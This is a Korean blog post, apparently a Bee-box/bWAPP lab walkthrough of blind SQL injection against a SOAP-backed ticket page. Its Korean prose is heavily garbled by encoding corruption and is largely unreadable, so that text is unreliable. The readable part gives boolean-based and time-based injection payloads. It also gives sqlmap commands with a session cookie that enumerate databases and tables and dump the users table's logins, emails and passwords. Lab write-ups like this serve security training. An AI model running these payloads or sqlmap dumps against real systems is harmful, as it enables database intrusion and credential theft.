[Bee-box] Blind SQL ์ธ์ ์ - ์น ์๋น์ค/SOAP
- -
์ด๋ฒ ํฌ์คํ ์ Blind SQL์ธ์ ์ ์น ์๋น์ค/SOAP ๋ฐฉ๋ฒ ์ ๋๋ค.
์ค์ตํ๋ ๋ชจ๋ ๊ณต๊ฒฉ์ ์ค์ ๋ก ์ฌ์ฉํ์๋ฉด ์๋ฉ๋๋ค.
ํ์ฉ๋ฐ์ง ์์ ์๋น์ค ๋์์ ํดํน์ ์๋ํ๋ ํ๋์ ๊ธ์งํ๋ฉฐ,
๋ชจ๋ ๋ฒ์ ์ฑ ์์ ์ฌ์ฉ์์๊ฒ ์๋ ๊ฒ์ ๋ช ์ฌํด์ฃผ์ธ์.
์ค๋ช ์ ์์, ์์ผ๋ก ํ๋ SQL ์ธ์ ์ ์ ์ผ๋ถ ๊ณต๊ฒฉ๋ค์ ๋์๋ฐฉ์์ ๋ฐ๋ก ํฌ์คํ ํ์ง ์์๊ฒ์.
๋๋ถ๋ถ ๊ฐ์ ์ค๋ช ์ด๊ธฐ ๋๋ฌธ์ ์๋ตํ๊ณ , ๋ค๋ฅธ ๊ฒฝ์ฐ ๊ธฐ์ฌํ๋๋ก ํ๊ฒ ์ต๋๋ค.
๋์ด๋ ํ
'bilnd sql injection- web services/soap' ๋ฅผ ๋ค์ด๊ฐ์ ์ค์ตํ๊ฒ ์ต๋๋ค.
SOAP ์ ์์ธํ ๊ฐ๋ ์ ์๋ ๋ธ๋ก๊ทธ๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
SOAP(Simple Object Access Protocol)์ ์ ํ๋ฆฌ์ผ์ด์ ๊ณ์ธต์ ํ๋กํ ์ฝ์
์ ์ก ๊ณ์ธต์ ํ๋กํ ์ฝ๋ก ์ฌ์ฉํ ์ ์๊ฒ ํ๋ ํ๋กํ ์ฝ์ด๋ค.
์ฆ, HTTP, HTTPS, SMTP ๋ฑ์ ํตํ์ฌ XML๊ธฐ๋ฐ์ ๋ฉ์ธ์ง๊ฐ ๋คํธ์ํฌ์์ ๊ตํ๋๋ค.
์น ์๋น์ค๋ ๋คํธ์ํฌ์ ์๋ ์ ๋ณด๋ฅผ ๋ชจ์ ์๋น์ค๋ฅผ ์ ๊ณตํ๋ฏ๋ก SOAP ๋๋ถ์ ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ธ์ ํ์ง ์์ ์๋ฒ์
์ ๋ณด๋ฅผ ์์ฒญํ๊ณ ์์ฒญ์ ๋ํ ์๋ต ๊ฐ์ ํ์ธํ ์ ์๋ค.
sqli_5.php๋ ์ ํํ ์ํ์ ๋จ์ ์๋ ํฐ์ผ ์๋ฅผ ์ถ๋ ฅํ๋ ํ์ด์ง๋ก, ํฐ์ผ ์ ์ถ๋ ฅ์ SOAP์ ํ์ฉํ์ฌ
์๋งค ๊ฐ๋ฅํ ํฐ์ผ ์๋ฅผ ์ฌ์ฉ์์๊ฒ ๋ณด์ฌ์ค๋ค.
์ด ํ์ด์ง๋ SOAP ๊ธฐ๋ฅ์ ํตํด, Boolean Based SQL injection๊ณผ, Time Based SQL injection์ด ๊ฐ๋ฅํ๋ค.
URL์ ๋๋ฌ๋ 'title' ๋ณ์์ ์์๋ฐ์ดํ๋ฅผ ์ ๋ ฅํ์ฌ SQL์ธ์ ์ ์ด ๊ฐ๋ฅํ์ง ์์๋ณธ๋ค.
๋ณ์์ SQL์ธ์ ์ ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ SQL ์ค๋ฅ๋ฉ์ธ์ง ์ถ๋ ฅ.
์์๋ฐ์ดํ๋ฅผ ์ ๋ ฅํ๋๋ ์ค๋ฅ ๋ฉ์ธ์ง ๋์
์๋งค ๊ฐ๋ฅํ ํฐ์ผ์ด ์๋ค๋ ๊ฒฐ๊ณผ๋ง ์ถ๋ ฅํ๊ณ ํฐ์ผ ์๋ ์ถ๋ ฅ ํ์ง ์๋๋ค.
Boolean base SQL injection ์ด ๊ฐ๋ฅํ์ง ์์๋ณด๊ธฐ ์ํด์ title๋ณ์์
ํญ์ ์ฐธ์ธ ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅํ๋ ์ฟผ๋ฆฌ๋ฅผ ์ ๋ ฅํ๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก ํฐ์ผ์ด ๋จ์ ์๋ค๋ ๋ฉ์ธ์ง๋ฅผ ์ถ๋ ฅ.
์ฆ SOAP๊ธฐ๋ฅ์ด ์คํ๋์ง ์์ผ๋ฉด ํฐ์ผ ์๋ ์ถ๋ ฅ๋์ง ์๋๋ค.
์ด๋ฒ์, ์ฃผ์์ ์ ๋ ฅํ์ง ์๊ณ ํญ์ ์ฐธ์ธ ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅํ๋ ์ฟผ๋ฆฌ๋ฅผ ์ ๋ ฅํ๋ค.
'or 1=1# ์ด ์๋ 'or 'a' ='a ๋ค๋ถ๋ถ์ ๋น์์ ์ด์ด์ง๊ฒ ํจ
์ ๋ ฅ ๊ฒฐ๊ณผ SOAP ๊ธฐ๋ฅ์ด ์คํ๋์ด ํฐ์ผ ์๋ฅผ ์ถ๋ ฅํ๋ค.
์ฆ, ์ฃผ์ ํ ์ฟผ๋ฆฌ์ ๊ฐ์ด ์ฐธ์ธ ๊ฒฐ๊ณผ ๊ฐ์ ์ถ๋ ฅํ๋ค.
๋ค์์ ๊ฑฐ์ง์ผ ๋ ์ถ๋ ฅํ๋ ๋ฉ์ธ์ง๋ฅผ ํ์ธํด ๋ณธ๋ค.
'or 'a'='b
a=b๊ฐ ์๋๋ฏ๋ก, ์ด ์ฟผ๋ฆฌ๋ ๊ฑฐ์ง์ด๋ค. ๊ฒฐ๊ณผ๋
์ ์ ๊ฒฐ๊ณผ์ ๋์ผํ๋ค.
์ฆ, SOAP๊ธฐ๋ฅ์ด ์คํ๋์ง ์๋ ๊ฒฝ์ฐ, ์ ๋ ฅํ ์ฟผ๋ฆฌ๊ฐ ๊ฑฐ์ง์ด๋ผ๊ณ ํ์ ํ๋ ๊ฒ ๊ฐ๋ค.
boolean ์ธ์ ์ ์ด ํตํ๋ ๊ฒ์ ํ์ธํ์ผ๋, ๋ง์ฐฌ๊ฐ์ง๋ก time based sql injection ๋ ์๋ํด๋ณธ๋ค.
'or sleep(5) and 'a'='a
Time based SQL ์ธ์ ์ ์ทจ์ฝ์ ์ด ์๋ค๋ฉด 5์ด ์ง์ฐ ํ ์๋ต์ ์ถ๋ ฅ ํ ๊ฒ์ด๋ค.
์ง์ฐ ๋ ๊ฒ์ ๋ณด์, SQL์ธ์ ์ ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
์ ๋๊ฐ์ง blindsql ๋ฐฉ๋ฒ์ผ๋ก ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ฉ์ ํ์ ํ ์ ์๋ค.
์์์ ๋ง์ถฐ SQL์ธ์ ์ ์ ์๋ํด๋ณธ๋ค.
1. database ์ด๋ฆ ์์๋ณด๊ธฐ
์๋ ์ง๊ธ๊น์ง ์ฐ๋ ๋ฌธ์ฅ์ ์๋์ ๊ฐ๋ค.
'or 1=1 and length(database())=5# ์ด๋ฐ์
์ด๋ฌ๋ ๋ฐฉ์์ ์๋์ฒ๋ผ ๋ฐ๊พธ์ด์ค ๊ฒ์ด๋ค.
'or length(database())=5 and 'a'='a
์์๋ฅผ ๋ฐ๊ฟ ์ฃผ์๋ค๊ณ ์๊ฐํ๋ฉด ๋๋ค. soap ๊ธฐ๋ฅ์ด ์คํ๋๊ฒ๋ ํ๋ ค๋ฉด, ๋ค์ ๋ถ์ฌ์ ์ด์ด์ฃผ์.
์ ๋ฐฉ๋ฒ์ด Boolean base sql ์ธ์ ์
์ด๋ผ๊ณ ํ ์ ์๋ค.
์๋๋ Time based ๋ฐฉ์์ ์ค๋ช
ํ๊ฒ ๋ค.
DB์ด๋ฆ์ ์์๋ผ๋ ์ง๋๋ฒ๊น์ง ์ฐ๋ ๋ฐฉ์์
'or 1=1 and length(database())=5 and sleep(5)# ์ด๋ฐ ๋ฐฉ์์ด์๋ค. ์ฆ boolean base๋ฐฉ๋ฒ์ sleepํจ์๋ฅผ ๊ทธ๋ฅ ๋ค์ ๋ถ์ฌ ์ฃผ๋ ๋ฐฉ์์ด์๋๋ฐ
'or length(database())=5 and sleep(5) and 'a'='a ์ด๋ฐ ๋ฐฉ์์ผ๋ก ๋ฐ๊ฟ ์ฃผ๋ฉด๋๋ค.
'or sleep(5) and length(database())=5 and 'a'='a ์์๋ ์ด๋ ๊ฒ๋ ์๊ด์์.
2. DB์ด๋ฆ ์์๋ณด๊ธฐ
--> boolean
'or 1=1 and substring(database(),1,1)='a'#
์ฌ๊ธฐ์ ์์๋ฅผ ๋ฐ๊ฟ์ฃผ๋ฉด
'or substring(database(),1,1)='a' and 'a'='a
--->time based sql injection
'or 1=1 and substring(database(),1,1)='a' and sleep(5)#
์ด๋ฐ ๋ฐฉ์์ด์๋ ๊ฒ์ ์์๋ฅผ ๋ฐ๊ฟ์ฃผ๋ฉด
'or substring(database(),1,1)='b' and sleep(5) and 'a'='a
์ด๋ฐ์์ผ๋ก ์ญ ์๋ํด์ ์ ๋ฒ ์ค์ต๋ค์ฒ๋ผ ๊ธธ์ด์ ์ด๋ฆ์ ์ฐจ์ฐจ ์์๊ฐ๋ฉด ๋๋ค.
ํ์ง๋ง ํ๋ํ๋ ์ผ์ผ์ด ์ฟผ๋ฆฌ๋ฅผ ์ ๋ ฅํ๋ฉด ์๊ฐ์ด ๋ง์ด ๊ฑธ๋ฆฌ๊ธฐ๋๋ฌธ์
SQL์ธ์ ์ ๊ณต๊ฒฉ ์๋ํ ๋๊ตฌ sqlmap์ ์ฌ์ฉํด๋ณด๊ฒ ๋ค.
๋จผ์ ์นผ๋ฆฌ๋ฆฌ๋ ์ค๋ฅผ ์ผ ๋ค.
sqlmap ์ ์ํ๋ค.
์ต์ ์ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์๋ํด๋ณผ๊ฑด๋ฐ, ๊ทธ๋ฌ๊ธฐ ์ํด ๊ผญ ํ์ํ cookie ๊ฐ์ ๋จผ์ ๊ตฌํด์ค๋ค.
๋ฒํ์ํธ๋ฅผ ์ฌ์ฉํด์ HTTP ์ฐ๊ฒฐ ์์ฒญ์์ ํจํท์ ์กด์ฌํ๋ ์ฟ ํค ํค๋ ๊ฐ์ ๊ฐ์ ธ์ค๋ฉด ๋๋๋ฐ,
ํ๋ก์ ์ค์ ํ๊ณ , ์ด๋์ ๋ ํ ์ผ์ด ๋ง์ ๋ฒ๊ฑฐ๋ก์ธ ์ ์์ผ๋,
"์ฟ ํค ์๋ํฐ" ๋ฅผ ๋ฐ์์ ์ฌ์ฉํ๋ ๊ฒ์ ์ถ์ฒํ๋ค.
์ฌ์ฉํ ์ผ๋ ๋ง์ ๋ฟ๋๋ฌ ์์๋ก ์ฟ ํค์ธ์ ๊ฐ์ ํธํ๊ฒ ํ์ธ ํ ์ ์์ด์ ์ ์ฉํ๋ค.
์ด๋ ๊ฒ ์ฟ ํค๊ฐ์ ์์์ผ๋ฉด, ์ต์ ์ ์ฌ์ฉํด์ sql์ธ์ ์ ์ ์๋ํด๋ณด์!
์ฒ์์ title์ค๋ฅ๊ฐ ๋ด์์ผ๋ ๊ณ ์ณค์ด์ใ ใ
sqlmap์ ์ต์
-h : ๋ค๋ฅธ ์ต์
ํ์ธํ๊ธฐ
-u : ์๋ํ ๊ณต๊ฒฉ์ ์๋ํ ํ์ด์ง์ ์ฃผ์๋ฅผ ์
๋ ฅ
--data : ๋ณ์๋ฅผ ๋ช
์
--cookie : ์ฟ ํค ๊ฐ์
๋ ฅ
-p : ๊ณต๊ฒฉํ ๋ณ์๋ฅผ ์ค์
--dbs : ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ตฌ์กฐ ํ์ธ
--batch : sqlmap์ ๊ธฐ๋ณธ ์ค์ ๋ ๊ฐ์ ์๋์ผ๋ก ์
๋ ฅํ๊ณ ์ธ์ ์
์ ์งํ
sqlmap๋ช ๋ น์ด
1. DB๋ช ๊ตฌํ๊ธฐ
root@kali:/# sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php"
--cookie="security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" --dbs
์ฐธ๊ณ ๋ก ๋งจ์ root@kali๋ ๋น์ฐํ ์ ๊ฒฝ๋ก ์ ํ์๋๊ฑฐ๊ณ ,
http๋ค ์ฃผ์๋ ์์ ์ ip์ฆ ์์ ์ ์๋ฒ ์ฃผ์ ์ ์ผ์ ์ผ ํ๊ณ ,
cookie์ญ์ ๋ณธ์ธ์ sessid๋ฅผ ์ ๋ ฅํ์ ์ผ ํฉ๋๋ค.
ํ๊ธ์์ฉ ๋ฝ์์ฃผ๋ค์ ใ ใ ใ
4๊ฐ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ถ์ถ!
2. ํ ์ด๋ธ๋ช ๊ตฌํ๊ธฐ
sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php"
--cookie = "security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP --tables
3. ์ปฌ๋ผ ๋ช ๊ตฌํ๊ธฐ
sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php"
--cookie = "security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP -T users
--columns
4. ๋ฐ์ดํฐ ์ถ๋ ฅ
sqlmap -u "http://192.168.0.32/bWAPP/sqli_5.php"
--cookie = "security_level=0; has_js=1; PHPSESSID=b2bb95147170a2166f7e9fc8d4b7e05d"
--data "title=G.I.+Joe%3A+Retaliation&action=go" -p "title" -D bWAPP
-T users -C login,email,password,secret --dump --batch
SQL์ธ์ ์ ์ฑ๊ณต!
๋์๋ฐฉ์ : PHP ๊ธฐ๋ณธ์ ๊ณต ํจ์ mysql_real_escape_string()ํจ์๋ก ์ ๋ ฅ ๋ฐ์ดํฐ ์ฐํ
'Game > Bee-box' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Bee-box] XML/Xpath ์ธ์ ์ -2 (0) | 2020.09.19 |
---|---|
[Bee-box] XML/Xpath ์ธ์ ์ (0) | 2020.08.29 |
[Bee-box] Blind SQL ์ธ์ ์ - Time Based (0) | 2020.08.24 |
[Bee-box] Blind SQL ์ธ์ ์ - Boolean Based (2) | 2020.08.23 |
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค